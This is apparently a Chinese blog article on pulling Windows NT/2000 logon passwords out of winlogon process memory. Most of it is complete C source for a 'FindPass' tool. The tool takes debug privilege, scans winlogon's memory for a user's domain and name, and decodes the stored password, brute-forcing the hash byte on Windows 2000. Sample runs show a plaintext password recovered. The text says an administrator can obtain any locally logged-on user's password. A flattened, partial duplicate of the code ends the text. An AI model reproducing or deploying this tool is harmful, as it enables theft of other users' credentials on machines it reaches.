获取windows登陆账户密码

本文详细介绍了如何通过Windows Logon Process中的密码存储机制,利用特定代码实现密码的提取。包括不同操作系统的密码查找方法,如Windows NT和Windows 2000,并提供了具体的实现代码,展示了如何定位密码所在的内存位置,解码并显示密码。

Windows Logon Process,Windows NT 用户登陆程序,管理用户登录和退出。

因为登陆的域名和用户名是明文存储在winlogon进程里的,而Password是限定了查找本进程用户的密码
<167-174:    GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);
   GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400);
>,然后到winlogon进程的空间中查找UserDomain和UserName < 590:// 在WinLogon的内存空间中寻找UserName和DomainName的字符串
if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0)
&&
(wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))
> ,找到后就查后边的加密口令。

其实只要你自己指定用户名和winlogon进程去查找就行了,只要你是管理员,任何本机用msgina.dll图形登陆的用户口令都可以找到。

1. pulist,找到系统里登陆的域名和用户名,及winlogon进程id
2. 然后给每个winlogon进程id查找指定的用户就行了。

example:

C:Documents and Settingsbingle>pulist
Process           PID  User
Idle              0
System            8
smss.exe          164  NT AUTHORITYSYSTEM
csrss.exe         192  NT AUTHORITYSYSTEM
winlogon.exe      188  NT AUTHORITYSYSTEM
wins.exe          1212 NT AUTHORITYSYSTEM
Explorer.exe      388  TEST-2KSERVERAdministrator
internat.exe      1828 TEST-2KSERVERAdministrator
conime.exe        1868 TEST-2KSERVERAdministrator
msiexec.exe       1904 NT AUTHORITYSYSTEM
tlntsvr.exe       1048 NT AUTHORITYSYSTEM
taskmgr.exe       1752 TEST-2KSERVERAdministrator
csrss.exe         2056 NT AUTHORITYSYSTEM
winlogon.exe      2416 NT AUTHORITYSYSTEM
rdpclip.exe       2448 TEST-2KSERVERclovea
Explorer.exe      2408 TEST-2KSERVERclovea
internat.exe      1480 TEST-2KSERVERclovea
cmd.exe           2508 TEST-2KSERVERAdministrator
ntshell.exe       368  TEST-2KSERVERAdministrator
ntshell.exe       1548 TEST-2KSERVERAdministrator
ntshell.exe       1504 TEST-2KSERVERAdministrator
csrss.exe         1088 NT AUTHORITYSYSTEM
winlogon.exe      1876 NT AUTHORITYSYSTEM
rdpclip.exe       1680 TEST-2KSERVERbingle
Explorer.exe      2244 TEST-2KSERVERbingle
conime.exe        2288 TEST-2KSERVERbingle
internat.exe      1592 TEST-2KSERVERbingle
cmd.exe           1692 TEST-2KSERVERbingle
mdm.exe           2476 TEST-2KSERVERbingle
taskmgr.exe       752  TEST-2KSERVERbingle
pulist.exe        2532 TEST-2KSERVERbingle

具体实现代码如下

#include <windows.h>     
#include <tchar.h>     
#include <stdio.h>     
#include <stdlib.h>     
          
typedef struct _UNICODE_STRING     
{     
    USHORT Length;     
    USHORT MaximumLength;     
    PWSTR Buffer;     
} UNICODE_STRING, *PUNICODE_STRING;     
          
// Undocumented typedef's     
typedef struct _QUERY_SYSTEM_INFORMATION     
{     
    DWORD GrantedAccess;     
    DWORD PID;     
    WORD HandleType;     
    WORD HandleId;     
    DWORD Handle;     
} QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;     
typedef struct _PROCESS_INFO_HEADER     
{     
    DWORD Count;     
    DWORD Unk04;     
    DWORD Unk08;     
} PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;     
typedef struct _PROCESS_INFO     
{     
    DWORD LoadAddress;     
    DWORD Size;     
    DWORD Unk08;     
    DWORD Enumerator;     
    DWORD Unk10;     
    char Name [0x108];     
} PROCESS_INFO, *PPROCESS_INFO;     
typedef struct _ENCODED_PASSWORD_INFO     
{     
    DWORD HashByte;     
    DWORD Unk04;     
    DWORD Unk08;     
    DWORD Unk0C;     
    FILETIME LoggedOn;     
    DWORD Unk18;     
    DWORD Unk1C;     
    DWORD Unk20;     
    DWORD Unk24;     
    DWORD Unk28;     
    UNICODE_STRING EncodedPassword;     
} ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;     
          
typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION)  (DWORD, PVOID, DWORD, PDWORD);     
typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);     
typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);     
typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);     
typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING)  (BYTE, PUNICODE_STRING);     
          
// Private Prototypes     
BOOL IsWinNT (void);     
BOOL IsWin2K (void);     
BOOL AddDebugPrivilege (void);     
DWORD FindWinLogon (void);     
BOOL LocatePasswordPageWinNT (DWORD, PDWORD);     
BOOL LocatePasswordPageWin2K (DWORD, PDWORD);     
void DisplayPasswordWinNT (void);     
void DisplayPasswordWin2K (void);     
          
// Global Variables     
PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation;     
PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer;     
PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;     
PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer;     
PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;     
          
DWORD PasswordLength = 0;     
PVOID RealPasswordP = NULL;     
PVOID PasswordP = NULL;     
DWORD HashByte = 0;    
wchar_t UserName [0x400];     
wchar_t UserDomain [0x400];     
          
int __cdecl main( int argc, char* argv[] )     
{     
    printf( "nt To Find Password in the Winlogon processn" );    
    printf( " Usage: %s DomainName UserName PID-of-WinLogonnn", argv[0] );     
          
    if ((!IsWinNT ())     
            &&     
        (!IsWin2K ()))     
    {     
        printf ("Windows NT or Windows 2000 are required.n");     
        return (0);     
    }     
          
    // Add debug privilege to PasswordReminder -     
    // this is needed for the search for Winlogon.     
    // 增加PasswordReminder的权限     
    // 使得PasswordReminder可以打开并调试Winlogon进程     
    if (!AddDebugPrivilege ())     
    {     
        printf     
            ("Unable to add debug privilege.n");     
        return (0);     
    }     
    printf ("The debug privilege has been added to PasswordReminder.n");     
          
    // 获得几个未公开API的入口地址     
    HINSTANCE hNtDll =     
        LoadLibrary     
            ("NTDLL.DLL");     
    pfnNtQuerySystemInformation =     
        (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress     
            (hNtDll,     
            "NtQuerySystemInformation");     
    pfnRtlCreateQueryDebugBuffer =     
        (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress     
            (hNtDll,     
            "RtlCreateQueryDebugBuffer");     
    pfnRtlQueryProcessDebugInformation =     
        (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress     
            (hNtDll,     
            "RtlQueryProcessDebugInformation");     
    pfnRtlDestroyQueryDebugBuffer =     
        (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress     
            (hNtDll,     
            "RtlDestroyQueryDebugBuffer");     
    pfnRtlRunDecodeUnicodeString =     
        (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress     
            (hNtDll,     
            "RtlRunDecodeUnicodeString");     
          
    // Locate WinLogon's PID - need debug privilege and admin rights.     
    // 获得Winlogon进程的PID     
    // 这里作者使用了几个Native API,其实使用PSAPI一样可以     
    DWORD WinLogonPID =     
        argc > 3 ? atoi( argv[3] ) : FindWinLogon () ;     
    if (WinLogonPID == 0)     
    {     
        printf     
            ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.n");     
        printf     
            ("PasswordReminder is unable to find the password in memory.n");     
        FreeLibrary (hNtDll);     
        return (0);     
    }     
          
    printf("The WinLogon process id is %d (0x%8.8lx).n",     
            WinLogonPID, WinLogonPID);     
          
    // Set values to check memory block against.     
    // 初始化几个和用户账号相关的变量     
    memset(UserName, 0, sizeof (UserName));     
    memset(UserDomain, 0, sizeof (UserDomain));     
    if( argc > 2 )    
    {       
        mbstowcs( UserName, argv[2], sizeof(UserName)/sizeof(*UserName) );    
        mbstowcs( UserDomain, argv[1], sizeof(UserDomain)/sizeof(*UserDomain) );    
    }else
    {    
        GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);     
        GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400);     
    }    
    printf( " To find %S%S password in process %d ...n", UserDomain, UserName, WinLogonPID );    
          
    // Locate the block of memory containing     
    // the password in WinLogon's memory space.     
    // 在Winlogon进程中定位包含Password的内存块     
    BOOL FoundPasswordPage = FALSE;     
    if (IsWin2K ())     
        FoundPasswordPage =     
            LocatePasswordPageWin2K     
                (WinLogonPID,     
                &PasswordLength);     
    else 
        FoundPasswordPage =     
            LocatePasswordPageWinNT     
                (WinLogonPID,     
                &PasswordLength);     
          
    if (FoundPasswordPage)     
    {     
        if (PasswordLength == 0)     
        {     
            printf     
                ("The logon information is: %S/%S.n",     
                UserDomain,     
                UserName);     
            printf     
                ("There is no password.n");     
        }     
        else 
        {     
            printf     
                ("The encoded password is found at 0x%8.8lx and has a length of %d.n",     
                RealPasswordP,     
                PasswordLength);     
            // Decode the password string.     
            if (IsWin2K ())     
                DisplayPasswordWin2K ();     
            else 
                DisplayPasswordWinNT ();     
        }     
    }     
    else 
        printf     
            ("PasswordReminder is unable to find the password in memory.n");     
          
    FreeLibrary     
        (hNtDll);     
    return (0);     
} // main     
          
//     
// IsWinNT函数用来判断操作系统是否WINNT     
//     
BOOL     
    IsWinNT     
        (void)     
{     
    OSVERSIONINFO OSVersionInfo;     
    OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);     
    if (GetVersionEx     
            (&OSVersionInfo))     
        return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT);     
    else 
        return (FALSE);     
} // IsWinNT     
          
          
//     
// IsWin2K函数用来判断操作系统是否Win2K     
//     
BOOL     
    IsWin2K     
        (void)     
{     
    OSVERSIONINFO OSVersionInfo;     
    OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);     
    if (GetVersionEx     
            (&OSVersionInfo))     
        return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)     
                    &&     
                (OSVersionInfo.dwMajorVersion == 5));     
    else 
        return (FALSE);     
} // IsWin2K     
          
          
//     
// AddDebugPrivilege函数用来申请调试Winlogon进程的特权     
//     
BOOL     
    AddDebugPrivilege     
        (void)     
{     
    HANDLE Token;     
    TOKEN_PRIVILEGES TokenPrivileges, PreviousState;     
    DWORD ReturnLength = 0;     
    if (OpenProcessToken     
            (GetCurrentProcess (),     
            TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,     
            &Token))     
        if (LookupPrivilegeValue     
                (NULL,     
                "SeDebugPrivilege",     
                &TokenPrivileges.Privileges[0].Luid))     
        {     
            TokenPrivileges.PrivilegeCount = 1;     
            TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;     
            return 
                (AdjustTokenPrivileges     
                    (Token,     
                    FALSE,     
                    &TokenPrivileges,     
                    sizeof (TOKEN_PRIVILEGES),     
                    &PreviousState,     
                    &ReturnLength));     
        }     
    return (FALSE);     
} // AddDebugPrivilege     
          
          
//     
// Note that the following code eliminates the need     
// for PSAPI.DLL as part of the executable.     
// FindWinLogon函数用来寻找WinLogon进程     
// 由于作者使用的是Native API,因此不需要PSAPI的支持     
//     
DWORD     
    FindWinLogon     
        (void)     
{     
#define INITIAL_ALLOCATION 0x100     
    DWORD rc = 0;     
    DWORD SizeNeeded = 0;     
    PVOID InfoP =     
        HeapAlloc     
            (GetProcessHeap (),     
            HEAP_ZERO_MEMORY,     
            INITIAL_ALLOCATION);     
    // Find how much memory is required.     
    pfnNtQuerySystemInformation     
        (0x10,     
        InfoP,     
        INITIAL_ALLOCATION,     
        &SizeNeeded);     
    HeapFree     
        (GetProcessHeap (),     
        0,     
        InfoP);     
    // Now, allocate the proper amount of memory.     
    InfoP =     
        HeapAlloc     
            (GetProcessHeap (),     
            HEAP_ZERO_MEMORY,     
            SizeNeeded);     
    DWORD SizeWritten = SizeNeeded;     
    if (pfnNtQuerySystemInformation     
            (0x10,     
            InfoP,     
            SizeNeeded,     
            &SizeWritten))     
    {     
        HeapFree     
            (GetProcessHeap (),     
            0,     
            InfoP);     
        return (0);     
    }     
    DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION);     
    if (NumHandles == 0)     
    {     
        HeapFree     
            (GetProcessHeap (),     
            0,     
            InfoP);     
        return (0);     
    }     
    PQUERY_SYSTEM_INFORMATION QuerySystemInformationP =     
        (PQUERY_SYSTEM_INFORMATION) InfoP;     
    DWORD i;     
    for (i = 1; i <= NumHandles; i++)     
    {     
        // "5" is the value of a kernel object type process.     
        if (QuerySystemInformationP->HandleType == 5)     
        {     
            PVOID DebugBufferP =     
                pfnRtlCreateQueryDebugBuffer     
                    (0,     
                    0);     
            if (pfnRtlQueryProcessDebugInformation     
                    (QuerySystemInformationP->PID,     
                    1,     
                    DebugBufferP) == 0)     
            {     
                PPROCESS_INFO_HEADER ProcessInfoHeaderP =     
                    (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60);     
                DWORD Count =     
                    ProcessInfoHeaderP->Count;     
                PPROCESS_INFO ProcessInfoP =     
                    (PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER));     
                if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0)     
                {     
                    DWORD i;     
                    DWORD dw = (DWORD) ProcessInfoP;     
                    for (i = 0; i < Count; i++)     
                    {     
                        dw += sizeof (PROCESS_INFO);     
                        ProcessInfoP = (PPROCESS_INFO) dw;     
                        if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0)     
                            return (0);     
                        if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0)     
                            rc =     
                                QuerySystemInformationP->PID;     
                    }     
                    if (DebugBufferP)     
                        pfnRtlDestroyQueryDebugBuffer     
                            (DebugBufferP);     
                    HeapFree     
                        (GetProcessHeap (),     
                        0,     
                        InfoP);     
                    return (rc);     
                }     
            }     
            if (DebugBufferP)     
                pfnRtlDestroyQueryDebugBuffer     
                    (DebugBufferP);     
        }     
        DWORD dw = (DWORD) QuerySystemInformationP;     
        dw += sizeof (QUERY_SYSTEM_INFORMATION);     
        QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw;     
    }     
    HeapFree     
        (GetProcessHeap (),     
        0,     
        InfoP);     
    return (rc);     
} // FindWinLogon     
          
//     
// LocatePasswordPageWinNT函数用来在NT中找到用户密码     
//     
BOOL     
    LocatePasswordPageWinNT     
        (DWORD WinLogonPID,     
        PDWORD PasswordLength)     
{     
#define USER_DOMAIN_OFFSET_WINNT    0x200     
#define USER_PASSWORD_OFFSET_WINNT    0x400     
    BOOL rc = FALSE;     
    HANDLE WinLogonHandle =     
        OpenProcess     
            (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,     
            FALSE,     
            WinLogonPID);     
    if (WinLogonHandle == 0)     
        return (rc);     
    *PasswordLength = 0;     
    SYSTEM_INFO SystemInfo;     
    GetSystemInfo     
        (&SystemInfo);     
    DWORD PEB = 0x7ffdf000;     
    DWORD BytesCopied = 0;     
    PVOID PEBP =     
        HeapAlloc     
            (GetProcessHeap (),     
            HEAP_ZERO_MEMORY,     
            SystemInfo.dwPageSize);     
    if (!ReadProcessMemory     
            (WinLogonHandle,     
            (PVOID) PEB,     
            PEBP,     
            SystemInfo.dwPageSize,     
            &BytesCopied))     
    {     
        CloseHandle     
            (WinLogonHandle);     
        return (rc);     
    }     
    // Grab the value of the 2nd DWORD in the TEB.     
    PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD)));     
    MEMORY_BASIC_INFORMATION MemoryBasicInformation;     
    if (VirtualQueryEx     
            (WinLogonHandle,     
            (PVOID) *WinLogonHeap,     
            &MemoryBasicInformation,     
            sizeof (MEMORY_BASIC_INFORMATION)))     
        if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)     
                &&     
            ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))     
        {     
            PVOID WinLogonMemP =     
                HeapAlloc     
                    (GetProcessHeap (),     
                    HEAP_ZERO_MEMORY,     
                    MemoryBasicInformation.RegionSize);     
            if (ReadProcessMemory     
                    (WinLogonHandle,     
                    (PVOID) *WinLogonHeap,     
                    WinLogonMemP,     
                    MemoryBasicInformation.RegionSize,     
                    &BytesCopied))     
            {     
                DWORD i = (DWORD) WinLogonMemP;     
                DWORD UserNamePos = 0;     
                // The order in memory is UserName followed by the UserDomain.     
                // 在内存中搜索UserName和UserDomain字符串     
                do 
                {     
                    if ((wcsicmp (UserName, (wchar_t *) i) == 0)     
                            &&     
                        (wcsicmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0))     
                    {     
                        UserNamePos = i;     
                        break;     
                    }     
                    i += 2;     
                } while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize);     
                if (UserNamePos)     
                {     
                    PENCODED_PASSWORD_INFO EncodedPasswordInfoP =     
                        (PENCODED_PASSWORD_INFO)     
                            ((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT);     
                    FILETIME LocalFileTime;     
                    SYSTEMTIME SystemTime;     
                    if (FileTimeToLocalFileTime     
                        (&EncodedPasswordInfoP->LoggedOn,     
                        &LocalFileTime))     
                        if (FileTimeToSystemTime     
                            (&LocalFileTime,     
                            &SystemTime))     
                            printf     
                                ("You logged on at %d/%d/%d %d:%d:%dn",     
                                SystemTime.wMonth,     
                                SystemTime.wDay,     
                                SystemTime.wYear,     
                                SystemTime.wHour,     
                                SystemTime.wMinute,     
                                SystemTime.wSecond);     
                    *PasswordLength =     
                        (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t);     
                    // NT就是好,hash-byte直接放在编码中:)     
                    HashByte =     
                        (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8;     
                    RealPasswordP =     
                        (PVOID) (*WinLogonHeap +     
                            (UserNamePos - (DWORD) WinLogonMemP) +     
                            USER_PASSWORD_OFFSET_WINNT + 0x34);     
                    PasswordP =     
                        (PVOID) ((PBYTE) (UserNamePos +       
                            USER_PASSWORD_OFFSET_WINNT + 0x34));     
                    rc = TRUE;     
                }     
            }     
        }     
          
    HeapFree     
        (GetProcessHeap (),     
        0,     
        PEBP);     
    CloseHandle     
        (WinLogonHandle);     
    return (rc);     
} // LocatePasswordPageWinNT     
          
          
//     
// LocatePasswordPageWin2K函数用来在Win2K中找到用户密码     
//     
BOOL     
    LocatePasswordPageWin2K     
        (DWORD WinLogonPID,     
        PDWORD PasswordLength)     
{     
#define USER_DOMAIN_OFFSET_WIN2K    0x400     
#define USER_PASSWORD_OFFSET_WIN2K    0x800     
    HANDLE WinLogonHandle =     
        OpenProcess     
            (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,     
            FALSE,     
            WinLogonPID);     
    if (WinLogonHandle == 0)     
        return (FALSE);     
    *PasswordLength = 0;     
    SYSTEM_INFO SystemInfo;     
    GetSystemInfo     
        (&SystemInfo);     
    DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress;     
    DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress;     
    DWORD Increment = SystemInfo.dwPageSize;     
    MEMORY_BASIC_INFORMATION MemoryBasicInformation;     
    while (i < MaxMemory)     
    {     
        if (VirtualQueryEx     
                (WinLogonHandle,     
                (PVOID) i,     
                &MemoryBasicInformation,     
                sizeof (MEMORY_BASIC_INFORMATION)))     
        {     
            Increment = MemoryBasicInformation.RegionSize;     
            if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)     
                    &&     
                ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))     
            {     
                PVOID RealStartingAddressP =     
                    HeapAlloc     
                        (GetProcessHeap (),     
                        HEAP_ZERO_MEMORY,     
                        MemoryBasicInformation.RegionSize);     
                DWORD BytesCopied = 0;     
                if (ReadProcessMemory     
                        (WinLogonHandle,     
                        (PVOID) i,     
                        RealStartingAddressP,     
                        MemoryBasicInformation.RegionSize,     
                        &BytesCopied))     
                {     
                    // 在WinLogon的内存空间中寻找UserName和DomainName的字符串     
                    if ((wcsicmp ((wchar_t *) RealStartingAddressP, UserName) == 0)     
                            &&     
                        (wcsicmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))     
                    {     
                        RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K);     
                        PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K);     
                        // Calculate the length of encoded unicode string.     
                        // 计算出密文的长度     
                        PBYTE p = (PBYTE) PasswordP;     
                        DWORD Loc = (DWORD) p;     
                        DWORD Len = 0;     
                        if ((*p == 0)     
                                &&     
                            (* (PBYTE) ((DWORD) p + 1) == 0))     
                            ;     
                        else 
                            do 
                            {     
                                Len++;     
                                Loc += 2;     
                                p = (PBYTE) Loc;     
                            } while 
                                (*p != 0);     
                        *PasswordLength = Len;     
                        CloseHandle     
                            (WinLogonHandle);     
                        return (TRUE);     
                    }     
                }     
                HeapFree     
                    (GetProcessHeap (),     
                    0,     
                    RealStartingAddressP);     
            }     
        }     
        else 
            Increment = SystemInfo.dwPageSize;     
        // Move to next memory block.     
        i += Increment;     
    }     
    CloseHandle     
        (WinLogonHandle);     
    return (FALSE);     
} // LocatePasswordPageWin2K     
          
          
//     
// DisplayPasswordWinNT函数用来在NT中解码用户密码     
//     
void 
    DisplayPasswordWinNT     
        (void)     
{     
    UNICODE_STRING EncodedString;     
    EncodedString.Length =     
        (WORD) PasswordLength * sizeof (wchar_t);     
    EncodedString.MaximumLength =     
        ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);     
    EncodedString.Buffer =     
        (PWSTR) HeapAlloc     
            (GetProcessHeap (),     
            HEAP_ZERO_MEMORY,     
            EncodedString.MaximumLength);     
    CopyMemory     
        (EncodedString.Buffer,     
        PasswordP,     
        PasswordLength * sizeof (wchar_t));     
    // Finally - decode the password.     
    // Note that only one call is required since the hash-byte     
    // was part of the orginally encoded string.     
    // 在NT中,hash-byte是包含在编码中的     
    // 因此只需要直接调用函数解码就可以了     
    pfnRtlRunDecodeUnicodeString     
        ((BYTE) HashByte,     
        &EncodedString);     
    printf     
        ("The logon information is: %S/%S/%S.n",     
        UserDomain,     
        UserName,     
        EncodedString.Buffer);     
    printf     
        ("The hash byte is: 0x%2.2x.n",     
        HashByte);     
    HeapFree     
        (GetProcessHeap (),     
        0,     
        EncodedString.Buffer);     
} // DisplayPasswordWinNT     
          
//     
// DisplayPasswordWin2K函数用来在Win2K中解码用户密码     
//     
void 
    DisplayPasswordWin2K     
        (void)     
{     
    DWORD i, Hash = 0;     
    UNICODE_STRING EncodedString;     
    EncodedString.Length =     
        (USHORT) PasswordLength * sizeof (wchar_t);     
    EncodedString.MaximumLength =     
        ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);     
    EncodedString.Buffer =     
        (PWSTR) HeapAlloc     
            (GetProcessHeap (),     
            HEAP_ZERO_MEMORY,     
            EncodedString.MaximumLength);     
    // This is a brute force technique since the hash-byte     
    // is not stored as part of the encoded string - :>(.     
    // 因为在Win2K中hash-byte并不存放在编码中     
    // 所以在这里进行的是暴力破解     
    // 下面的循环中i就是hash-byte     
    // 我们将i从0x00到0xff分别对密文进行解密     
    // 如果有一个hash-byte使得所有密码都是可见字符,就认为是有效的     
    // 这个算法实际上是从概率角度来解码的     
    // 因为如果hash-byte不对而解密出来的密码都是可见字符的概率非常小     
    for (i = 0; i <= 0xff; i++)     
    {     
        CopyMemory     
            (EncodedString.Buffer,     
            PasswordP,     
            PasswordLength * sizeof (wchar_t));     
        // Finally - try to decode the password.     
        // 使用i作为hash-byte对密文进行解码     
        pfnRtlRunDecodeUnicodeString     
            ((BYTE) i,     
            &EncodedString);     
        // Check for a viewable password.     
        // 检查解码出的密码是否完全由可见字符组成     
        // 如果是则认为是正确的解码     
        PBYTE p = (PBYTE) EncodedString.Buffer;     
        BOOL Viewable = TRUE;     
        DWORD j, k;     
        for (j = 0; (j < PasswordLength) && Viewable; j++)     
        {     
            if ((*p)     
                    &&     
                (* (PBYTE)(DWORD (p) + 1) == 0))     
            {     
                if (*p < 0x20)     
                    Viewable = FALSE;     
                if (*p > 0x7e)     
                    Viewable = FALSE;     
                //0x20是空格,0X7E是~,所有密码允许使用的可见字符都包括在里面了     
            }     
            else 
                Viewable = FALSE;     
            k = DWORD (p);     
            k++; k++;     
            p = (PBYTE) k;     
        }     
        if (Viewable)     
        {     
            printf     
                ("The logon information is: %S/%S/%S.n",     
                UserDomain,     
                UserName,     
                EncodedString.Buffer);     
            printf     
                ("The hash byte is: 0x%2.2x.n",     
                i);     
        }     
    }     
    HeapFree     
        (GetProcessHeap (),     
        0,     
        EncodedString.Buffer);     
}


// Find Password from winlogon in win2000 / winnt4 + < sp6 // // PasswordReminder.cpp --> FindPass.cpp // 1. http://www.smidgeonsoft.com/ // 2. shotgun add comment, bingle change a little to find other user in winlogon // This code is licensed under the terms of the GPL (gnu public license). // // Usage: FindPass DomainName UserName PID-of-WinLogon // // you can get the three params from pulist output in target system. // /* 因为登陆的域名和用户名是明文存储在winlogon进程里的,而PasswordReminder是限定了查找本进程用户的密码 <167-174: GetEnvironmentVariableW(L"USERNAME", UserName, 0x400); GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400); >,然后到winlogon进程的空间中查找UserDomain和UserName < 590:// 在WinLogon的内存空间中寻找UserName和DomainName的字符串 if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0) && (wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0)) > ,找到后就查后边的加密口令。 其实只要你自己指定用户名和winlogon进程去查找就行了,只要你是管理员,任何本机用msgina.dll图形登陆的用户口令都可以找到。 1. pulist,找到系统登陆的域名和用户名,及winlogon进程id 2. 然后给每个winlogon进程id查找指定的用户就行了。 example: C:\Documents and Settings\bingle>pulist Process PID User Idle 0 System 8 smss.exe 164 NT AUTHORITY\SYSTEM csrss.exe 192 NT AUTHORITY\SYSTEM winlogon.exe 188 NT AUTHORITY\SYSTEM wins.exe 1212 NT AUTHORITY\SYSTEM Explorer.exe 388 TEST-2KSERVER\Administrator internat.exe 1828 TEST-2KSERVER\Administrator conime.exe 1868 TEST-2KSERVER\Administrator msiexec.exe 1904 NT AUTHORITY\SYSTEM tlntsvr.exe 1048 NT AUTHORITY\SYSTEM taskmgr.exe 1752 TEST-2KSERVER\Administrator csrss.exe 2056 NT AUTHORITY\SYSTEM winlogon.exe 2416 NT AUTHORITY\SYSTEM rdpclip.exe 2448 TEST-2KSERVER\clovea Explorer.exe 2408 TEST-2KSERVER\clovea internat.exe 1480 TEST-2KSERVER\clovea cmd.exe 2508 TEST-2KSERVER\Administrator ntshell.exe 368 TEST-2KSERVER\Administrator ntshell.exe 1548 TEST-2KSERVER\Administrator ntshell.exe 1504 TEST-2KSERVER\Administrator csrss.exe 1088 NT AUTHORITY\SYSTEM winlogon.exe 1876 NT AUTHORITY\SYSTEM rdpclip.exe 1680 TEST-2KSERVER\bingle Explorer.exe 2244 TEST-2KSERVER\bingle conime.exe 2288 TEST-2KSERVER\bingle internat.exe 1592 TEST-2KSERVER\bingle cmd.exe 1692 TEST-2KSERVER\bingle mdm.exe 2476 TEST-2KSERVER\bingle taskmgr.exe 752 TEST-2KSERVER\bingle pulist.exe 2532 TEST-2KSERVER\bingle C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER administrator 188 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 188 (0x000000bc). To find TEST-2KSERVER\administrator password in process 188 ... The encoded password is found at 0x008e0800 and has a length of 10. The logon information is: TEST-2KSERVER/administrator/testserver. The hash byte is: 0x13. C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER clovea 1876 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 1876 (0x00000754). To find TEST-2KSERVER\clovea password in process 1876 ... PasswordReminder is unable to find the password in memory. C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER bingle 1876 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 1876 (0x00000754). To find TEST-2KSERVER\bingle password in process 1876 ... The logon information is: TEST-2KSERVER/bingle. There is no password. C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER clovea 2416 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 2416 (0x00000970). To find TEST-2KSERVER\clovea password in process 2416 ... The logon information is: TEST-2KSERVER/clovea. There is no password. C:\Documents and Settings\bingle> */ #include <stdafx.h> #include <windows.h> #include <tchar.h> #include <stdio.h> #include <stdlib.h> typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; // Undocumented typedef's typedef struct _QUERY_SYSTEM_INFORMATION { DWORD GrantedAccess; DWORD PID; WORD HandleType; WORD HandleId; DWORD Handle; 